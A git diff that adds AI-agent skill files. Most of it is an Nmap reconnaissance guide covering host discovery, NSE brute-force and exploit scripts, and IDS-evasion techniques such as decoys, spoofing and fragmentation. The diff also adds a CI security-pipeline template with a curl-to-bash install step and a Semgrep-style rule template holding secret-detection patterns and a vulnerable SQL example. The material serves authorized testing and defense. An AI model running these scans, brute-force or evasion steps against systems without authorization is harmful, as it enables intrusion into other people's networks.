+**Recovery**: +[ ] 13. Restore systems from clean backups (if needed) +[ ] 14. Re-enable systems with monitoring +[ ] 15. Verify system integrity +[ ] 16. Resume normal operations + +**Post-Incident**: +[ ] 17. Document incident timeline +[ ] 18. Identify lessons learned +[ ] 19. Update security controls to prevent recurrence +[ ] 20. Update incident response procedures +[ ] 21. Communicate with stakeholders + +--- + +## Usage Guidelines + +### When to Use Workflow Checklists + +✅ **Use checklists for**: +- Complex multi-step operations +- Operations requiring specific order +- Security assessments and audits +- Incident response procedures +- Compliance validation tasks + +❌ **Don't use checklists for**: +- Simple single-step operations +- Highly dynamic exploratory work +- Operations that vary significantly each time + +### Adapting This Template + +1. **Copy relevant pattern** to your skill's SKILL.md or create new reference file +2. **Customize steps** to match your specific security tool or process +3. **Add framework references** (OWASP, CWE, NIST) where applicable +4. **Include tool-specific commands** for automation +5. **Add decision points** where manual judgment is required + +### Checklist Best Practices + +- **Be specific**: "Run semgrep --config=auto ." not "Scan the code" +- **Include success criteria**: "Validation passes with 0 errors" +- **Reference standards**: Link to OWASP, CWE, NIST where relevant +- **Show progress**: Checkbox format helps track completion +- **Provide escape hatches**: "If validation fails, see troubleshooting.md" + +### Integration with Feedback Loops + +Combine checklists with validation scripts for maximum effectiveness: + +1. Create checklist for the workflow +2. Provide validation script that checks quality +3. Include "run validator" step in checklist +4. Loop: Complete step → Validate → Fix issues → Re-validate + +This pattern dramatically improves output quality through systematic validation. diff --git a/skills/offsec/recon-nmap/SKILL.md b/skills/offsec/recon-nmap/SKILL.md new file mode 100644 index 0000000..9e909f6 --- /dev/null +++ b/skills/offsec/recon-nmap/SKILL.md @@ -0,0 +1,635 @@ +--- +name: recon-nmap +description: > + Network reconnaissance and security auditing using Nmap for port scanning, service enumeration, + and vulnerability detection. Use when: (1) Conducting authorized network reconnaissance and asset + discovery, (2) Enumerating network services and identifying running versions, (3) Detecting + security vulnerabilities through NSE scripts, (4) Mapping network topology and firewall rules, + (5) Performing compliance scanning for security assessments, (6) Validating network segmentation + and access controls. +version: 0.1.0 +maintainer: sirappsec@gmail.com +category: offsec +tags: [reconnaissance, nmap, port-scanning, service-enumeration, network-security, osint] +frameworks: [MITRE-ATT&CK, OWASP, PTES] +dependencies: + packages: [nmap] + tools: [python3, masscan] +references: + - https://nmap.org/book/ + - https://nmap.org/nsedoc/ + - https://attack.mitre.org/techniques/T1046/ +--- + +# Nmap Network Reconnaissance + +## Overview + +Nmap (Network Mapper) is the industry-standard tool for network discovery, security auditing, and vulnerability assessment. This skill provides structured workflows for authorized reconnaissance operations including port scanning, service enumeration, OS fingerprinting, and vulnerability detection using Nmap Scripting Engine (NSE). + +**IMPORTANT**: Network scanning may be disruptive and must only be conducted with proper authorization. Always ensure written permission before scanning networks or systems you do not own. + +## Quick Start + +Basic host discovery and port scanning: + +```bash +# Quick scan of common ports +nmap -F + +# Scan top 1000 ports with service detection +nmap -sV + +# Comprehensive scan with OS detection and default scripts +nmap -A +``` + +## Core Workflow + +### Network Reconnaissance Workflow + +Progress: +[ ] 1. Verify authorization and scope +[ ] 2. Perform host discovery and asset enumeration +[ ] 3. Conduct port scanning on live hosts +[ ] 4. Enumerate services and versions +[ ] 5. Perform OS fingerprinting and detection +[ ] 6. Run NSE scripts for vulnerability detection +[ ] 7. Document findings and generate reports +[ ] 8. Validate results and identify false positives + +Work through each step systematically. Check off completed items. + +### 1. Authorization Verification + +**CRITICAL**: Before any scanning activities: +- Confirm written authorization from network owner +- Review scope document for in-scope IP ranges and domains +- Verify scanning windows and rate-limiting requirements +- Document emergency contact for accidental disruption +- Confirm blacklisted hosts (production databases, critical infrastructure) + +### 2. Host Discovery + +Identify live hosts in target network: + +```bash +# Ping sweep (ICMP echo) +nmap -sn /24 + +# ARP scan (local network only, faster and more reliable) +nmap -sn -PR /24 + +# TCP SYN ping (when ICMP blocked) +nmap -sn -PS22,80,443 /24 + +# UDP ping (for hosts blocking TCP) +nmap -sn -PU53,161 /24 + +# Disable ping, assume all hosts alive +nmap -Pn /24 +``` + +**Host discovery techniques**: +- **ICMP Echo (-PE)**: Standard ping, often blocked +- **TCP SYN (-PS)**: Half-open connection to specified ports +- **TCP ACK (-PA)**: Sends ACK packets, useful for stateful firewalls +- **UDP (-PU)**: Sends UDP packets to specified ports +- **ARP (-PR)**: Layer 2 discovery, only works on local network + +Output live hosts to file for subsequent scanning: + +```bash +nmap -sn /24 -oG - | awk '/Up$/{print $2}' > live_hosts.txt +``` + +### 3. Port Scanning + +Scan discovered hosts for open ports: + +```bash +# Fast scan (top 100 ports) +nmap -F -iL live_hosts.txt + +# Top 1000 ports (default) +nmap -iL live_hosts.txt + +# Scan all 65535 ports +nmap -p- -iL live_hosts.txt + +# Scan specific ports +nmap -p 22,80,443,3389,8080 -iL live_hosts.txt + +# Scan port ranges +nmap -p 1-1024,3000-9000 -iL live_hosts.txt +``` + +**Scan techniques**: + +- **TCP SYN Scan (-sS)**: Default, stealthy half-open scan (requires root) + ```bash + sudo nmap -sS + ``` + +- **TCP Connect Scan (-sT)**: Full TCP connection (no root required) + ```bash + nmap -sT + ``` + +- **UDP Scan (-sU)**: Scan UDP ports (slow but critical) + ```bash + sudo nmap -sU -p 53,161,500 + ``` + +- **Version Detection (-sV)**: Probe services for version information + ```bash + nmap -sV + ``` + +- **Aggressive Scan (-A)**: Enable OS detection, version detection, script scanning, traceroute + ```bash + sudo nmap -A + ``` + +**Timing and performance**: + +```bash +# Paranoid (0) - Extremely slow, IDS evasion +nmap -T0 + +# Sneaky (1) - Very slow, IDS evasion +nmap -T1 + +# Polite (2) - Slows down to use less bandwidth +nmap -T2 + +# Normal (3) - Default timing +nmap -T3 + +# Aggressive (4) - Faster, assumes reliable network +nmap -T4 + +# Insane (5) - Very fast, may miss results +nmap -T5 +``` + +**Rate limiting for safety**: + +```bash +# Limit to 100 packets/second +nmap --max-rate 100 + +# Minimum 10 packets/second +nmap --min-rate 10 + +# Scan with delays to avoid detection +nmap --scan-delay 1s +``` + +### 4. Service Enumeration + +Identify services and extract version information: + +```bash +# Service version detection +nmap -sV + +# Aggressive version detection (more probes) +nmap -sV --version-intensity 5 + +# Light version detection (fewer probes, faster) +nmap -sV --version-intensity 0 + +# Specific service enumeration +nmap -sV -p 80,443 --script=http-headers,http-title +``` + +**Service-specific enumeration**: + +```bash +# SMB enumeration +nmap -p 445 --script=smb-os-discovery,smb-security-mode + +# SSH enumeration +nmap -p 22 --script=ssh-hostkey,ssh-auth-methods + +# DNS enumeration +nmap -p 53 --script=dns-nsid,dns-recursion + +# HTTP/HTTPS enumeration +nmap -p 80,443 --script=http-methods,http-robots.txt,http-title + +# Database enumeration +nmap -p 3306 --script=mysql-info +nmap -p 5432 --script=pgsql-brute +nmap -p 1433 --script=ms-sql-info +``` + +### 5. Operating System Detection + +Identify target operating systems: + +```bash +# OS detection +sudo nmap -O + +# Aggressive OS detection with version scanning +sudo nmap -A + +# Limit OS detection to promising targets +sudo nmap -O --osscan-limit + +# Guess OS aggressively +sudo nmap -O --osscan-guess +``` + +**OS fingerprinting indicators**: +- TCP/IP stack characteristics +- Open port patterns +- Service banners and versions +- TTL values and TCP window sizes + +### 6. NSE Script Scanning + +Nmap Scripting Engine for advanced reconnaissance and vulnerability detection: + +```bash +# Run default NSE scripts +nmap -sC + +# Run all scripts in category +nmap --script=vuln +nmap --script=exploit +nmap --script=discovery + +# Run specific script +nmap --script=http-sql-injection + +# Multiple scripts +nmap --script=smb-vuln-ms17-010,smb-vuln-cve-2017-7494 + +# Script with arguments +nmap --script=http-brute --script-args http-brute.path=/admin +``` + +**NSE script categories**: +- **auth**: Authentication testing +- **broadcast**: Network broadcast/multicast discovery +- **brute**: Brute-force password auditing +- **default**: Default safe scripts (-sC) +- **discovery**: Network and service discovery +- **dos**: Denial of service testing (use with caution) +- **exploit**: Exploitation attempts (authorized only) +- **external**: External resource queries (WHOIS, etc.) +- **fuzzer**: Fuzzing attacks +- **intrusive**: Intrusive scanning (may crash services) +- **malware**: Malware detection +- **safe**: Safe scripts unlikely to crash services +- **version**: Version detection enhancement +- **vuln**: Vulnerability detection + +**Common vulnerability detection scripts**: + +```bash +# Check for EternalBlue (MS17-010) +nmap -p 445 --script=smb-vuln-ms17-010 + +# Heartbleed detection +nmap -p 443 --script=ssl-heartbleed + +# Shellshock detection +nmap --script=http-shellshock --script-args uri=/cgi-bin/test.sh + +# Check for weak SSL/TLS +nmap -p 443 --script=ssl-enum-ciphers + +# SQL injection testing +nmap -p 80 --script=http-sql-injection + +# Check for anonymous FTP +nmap -p 21 --script=ftp-anon +``` + +### 7. Output and Reporting + +Generate reports in multiple formats: + +```bash +# Normal output to screen and file +nmap -oN scan_results.txt + +# XML output (for parsing/import) +nmap -oX scan_results.xml + +# Grepable output (for easy parsing) +nmap -oG scan_results.gnmap + +# All formats +nmap -oA scan_results + +# Script kiddie output (for fun) +nmap -oS scan_results.skid +``` + +Convert and process results: + +```bash +# Convert XML to HTML report +xsltproc /usr/share/nmap/nmap.xsl scan_results.xml -o report.html + +# Parse XML with Python +python3 -c "import xml.etree.ElementTree as ET; tree = ET.parse('scan_results.xml'); root = tree.getroot(); [print(host.find('address').get('addr')) for host in root.findall('host')]" + +# Extract open ports from grepable output +grep 'Ports:' scan_results.gnmap | awk '{print $2, $5}' +``` + +### 8. Firewall and IDS Evasion + +Techniques to evade detection (authorized testing only): + +```bash +# Fragment packets +sudo nmap -f + +# Use decoys +sudo nmap -D RND:10 +sudo nmap -D decoy1,decoy2,ME,decoy3 + +# Spoof source IP (requires raw packet privileges) +sudo nmap -S -e + +# Randomize target order +nmap --randomize-hosts -iL targets.txt + +# Use proxy +nmap --proxies http://proxy:8080 + +# Idle scan (zombie host required) +sudo nmap -sI +``` + +## Security Considerations + +### Authorization & Legal Compliance + +- **Written Permission**: Obtain explicit authorization before scanning any network +- **Scope Definition**: Only scan explicitly authorized IP ranges and ports +- **Disruption Risk**: Some scans (DOS, exploit scripts) can crash services +- **Privacy**: Service enumeration may expose sensitive information +- **Log Traces**: Scanning activities are typically logged by firewalls and IDS + +### Operational Security + +- **Rate Limiting**: Use `--max-rate` to avoid overwhelming targets +- **Timing**: Schedule scans during approved maintenance windows +- **Bandwidth**: Consider network impact, especially for large scans +- **Noise**: Aggressive scans are easily detected by security monitoring +- **False Positives**: Validate findings before reporting vulnerabilities + +### Audit Logging + +Document all reconnaissance activities: +- Scan start and end timestamps +- Source IP address and scanner hostname +- Target IP ranges and ports scanned +- Nmap command-line arguments used +- Number of hosts discovered and ports found +- Vulnerabilities identified via NSE scripts +- Any service disruptions or anomalies + +### Compliance + +- **PTES**: Reconnaissance phase of Penetration Testing Execution Standard +- **OWASP**: ASVS verification requirements for network security +- **MITRE ATT&CK**: T1046 (Network Service Scanning) +- **PCI-DSS 11.2**: External and internal vulnerability scanning +- **ISO 27001**: A.12.6 Technical vulnerability management + +## Common Patterns + +### Pattern 1: External Perimeter Assessment + +```bash +# Phase 1: Identify live hosts +nmap -sn -PE -PS80,443 -PA3389 /24 -oG - | awk '/Up$/{print $2}' > external_hosts.txt + +# Phase 2: Scan common external services +nmap -Pn -sV -p 21,22,25,53,80,110,143,443,587,993,995,3389,8080,8443 -iL external_hosts.txt -oA external_scan + +# Phase 3: Vulnerability detection +nmap -Pn -sV --script=vuln -p 21,22,25,80,443,3389,8080,8443 -iL external_hosts.txt -oA external_vulns + +# Phase 4: SSL/TLS security audit +nmap -Pn -p 443,8443 --script=ssl-enum-ciphers,ssl-cert -iL external_hosts.txt -oA ssl_audit +``` + +### Pattern 2: Internal Network Mapping + +```bash +# Phase 1: Fast host discovery +nmap -sn -PR /24 -oG - | awk '/Up$/{print $2}' > internal_hosts.txt + +# Phase 2: Comprehensive port scan +nmap -sV -p- -T4 -iL internal_hosts.txt -oA internal_full_scan + +# Phase 3: OS fingerprinting +sudo nmap -O -iL internal_hosts.txt -oA internal_os_detection + +# Phase 4: Service enumeration +nmap -sV --script=default,discovery -iL internal_hosts.txt -oA internal_services +``` + +### Pattern 3: Web Application Discovery + +```bash +# Identify web servers +nmap -p 80,443,8000,8080,8443 --open -oG - /24 | grep 'open' | awk '{print $2}' > web_servers.txt + +# Enumerate web technologies +nmap -sV -p 80,443,8080,8443 --script=http-enum,http-headers,http-methods,http-title,http-server-header -iL web_servers.txt -oA web_enum + +# Check for common web vulnerabilities +nmap -p 80,443 --script=http-sql-injection,http-csrf,http-vuln-cve2017-5638 -iL web_servers.txt -oA web_vulns +``` + +### Pattern 4: SMB/CIFS Security Audit + +```bash +# Enumerate SMB hosts +nmap -p 445 --open /24 -oG - | grep 'open' | awk '{print $2}' > smb_hosts.txt + +# SMB version and configuration +nmap -p 445 --script=smb-protocols,smb-security-mode,smb-os-discovery -iL smb_hosts.txt -oA smb_enum + +# Check for SMB vulnerabilities +nmap -p 445 --script=smb-vuln* -iL smb_hosts.txt -oA smb_vulns + +# Enumerate shares (authentication may be required) +nmap -p 445 --script=smb-enum-shares,smb-enum-users -iL smb_hosts.txt -oA smb_shares +``` + +### Pattern 5: Database Server Discovery + +```bash +# Scan for common database ports +nmap -sV -p 1433,1521,3306,5432,5984,6379,9200,27017 /24 -oA database_scan + +# MySQL enumeration +nmap -p 3306 --script=mysql-info,mysql-databases,mysql-variables + +# PostgreSQL enumeration +nmap -p 5432 --script=pgsql-brute + +# MongoDB enumeration +nmap -p 27017 --script=mongodb-info,mongodb-databases + +# Redis enumeration +nmap -p 6379 --script=redis-info +``` + +## Integration Points + +### CI/CD Integration + +Automated security scanning in pipelines: + +```bash +#!/bin/bash +# ci_network_scan.sh - Continuous network security validation + +TARGET_NETWORK="$1" +OUTPUT_DIR="scan_results/$(date +%Y%m%d_%H%M%S)" + +mkdir -p "$OUTPUT_DIR" + +# Quick security scan +nmap -Pn -sV --script=vuln -p 21,22,25,80,443,3389,8080 \ + "$TARGET_NETWORK" -oA "$OUTPUT_DIR/security_scan" + +# Parse results for critical findings +if grep -i "VULNERABLE" "$OUTPUT_DIR/security_scan.nmap"; then + echo "CRITICAL: Vulnerabilities detected!" + exit 1 +fi + +echo "Security scan completed successfully" +exit 0 +``` + +### Security Tools Integration + +- **Metasploit Integration**: Import Nmap XML with `db_import` +- **Vulnerability Scanners**: Feed Nmap results to Nessus, OpenVAS, Qualys +- **SIEM Integration**: Parse Nmap output for security monitoring +- **Asset Management**: Update CMDB with discovered hosts and services +- **Shodan/Censys**: Validate external exposure findings + +### MITRE ATT&CK Mapping + +Map Nmap reconnaissance to ATT&CK framework: + +- **Reconnaissance**: T1595 (Active Scanning) + - T1595.001 (Scanning IP Blocks) + - T1595.002 (Vulnerability Scanning) +- **Discovery**: T1046 (Network Service Scanning) +- **Discovery**: T1040 (Network Sniffing) +- **Credential Access**: T1110 (Brute Force) - when using NSE brute scripts + +## Troubleshooting + +### Issue: No Results Despite Hosts Being Online + +**Causes**: +- ICMP blocked by firewall +- Host-based firewall dropping probes +- Network ACLs filtering traffic + +**Solutions**: +```bash +# Skip ping, assume all hosts up +nmap -Pn + +# Try TCP ping instead of ICMP +nmap -PS80,443 -PA3389 + +# Try multiple discovery techniques +nmap -PE -PS22,80,443 -PA3389 -PU53,161 +``` + +### Issue: Scan Too Slow + +**Solutions**: +```bash +# Increase timing template +nmap -T4 + +# Scan fewer ports +nmap -F # Top 100 ports +nmap --top-ports 1000 + +# Parallelize by splitting targets +nmap -T4 192.168.1.1-50 & +nmap -T4 192.168.1.51-100 & +nmap -T4 192.168.1.101-150 & +wait + +# Use masscan for very fast port scanning +masscan -p 1-65535 --rate 10000 /24 +``` + +### Issue: False Positives in Vulnerability Scripts + +**Solutions**: +- Manually verify findings with specific exploit tools +- Check service version against CVE databases +- Use `--version-intensity 9` for more accurate version detection +- Run vulnerability-specific NSE scripts instead of broad categories +- Cross-reference with authenticated vulnerability scanners + +### Issue: Getting Blocked by Firewall/IDS + +**Solutions**: +```bash +# Slow down scan +nmap -T1 --scan-delay 1s + +# Fragment packets +sudo nmap -f + +# Randomize scan order +nmap --randomize-hosts -iL targets.txt + +# Use source port 53 (often allowed) +nmap -g 53 + +# Split into smaller scans over time +nmap -p 1-1000 +# Wait several hours +nmap -p 1001-2000 +``` + +## Defensive Considerations + +Organizations can detect Nmap scanning by: + +- **Network IDS**: Signature detection of scan patterns (vertical/horizontal sweeps) +- **Firewall Logs**: Multiple connection attempts from single source +- **Port Scan Detection**: Monitoring for SYN packets without completion +- **Honeypots**: Triggering alerts when accessing decoy services +- **Traffic Analysis**: Unusual packet patterns (fragmentation, timing anomalies) + +Enhance defensive posture: +- Deploy network intrusion detection systems (Snort, Suricata) +- Enable firewall logging and monitor for scan patterns +- Use port knocking or service hiding for sensitive services +- Implement rate limiting on border firewalls +- Deploy honeypots to detect and track reconnaissance + +## References + +- [Nmap Network Scanning Official Guide](https://nmap.org/book/) +- [NSE Script Documentation](https://nmap.org/nsedoc/) +- [MITRE ATT&CK: Network Service Scanning](https://attack.mitre.org/techniques/T1046/) +- [PTES Technical Guidelines](http://www.pentest-standard.org/index.php/Intelligence_Gathering) +- [OWASP Testing Guide: Information Gathering](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/01-Information_Gathering/) diff --git a/skills/offsec/recon-nmap/assets/.gitkeep b/skills/offsec/recon-nmap/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/offsec/recon-nmap/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/offsec/recon-nmap/assets/ci-config-template.yml b/skills/offsec/recon-nmap/assets/ci-config-template.yml new file mode 100644 index 0000000..367cdbb --- /dev/null +++ b/skills/offsec/recon-nmap/assets/ci-config-template.yml @@ -0,0 +1,357 @@ +# Security-Enhanced CI/CD Pipeline Template +# +# This template demonstrates security best practices for CI/CD pipelines. +# Adapt this template to your specific security tool and workflow needs. +# +# Key Security Features: +# - SAST (Static Application Security Testing) +# - Dependency vulnerability scanning +# - Secrets detection +# - Infrastructure-as-Code security scanning +# - Container image scanning +# - Security artifact uploading for compliance + +name: Security Scan Pipeline + +on: + push: + branches: [main, develop] + pull_request: + branches: [main, develop] + schedule: + # Run weekly security scans on Sunday at 2 AM UTC + - cron: '0 2 * * 0' + workflow_dispatch: # Allow manual trigger + +# Security: Restrict permissions to minimum required +permissions: + contents: read + security-events: write # For uploading SARIF results + pull-requests: write # For commenting on PRs + +env: + # Configuration + SECURITY_SCAN_FAIL_ON: 'critical,high' # Fail build on these severities + REPORT_DIR: 'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/offsec/recon-nmap/assets/rule-template.yaml b/skills/offsec/recon-nmap/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/offsec/recon-nmap/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, 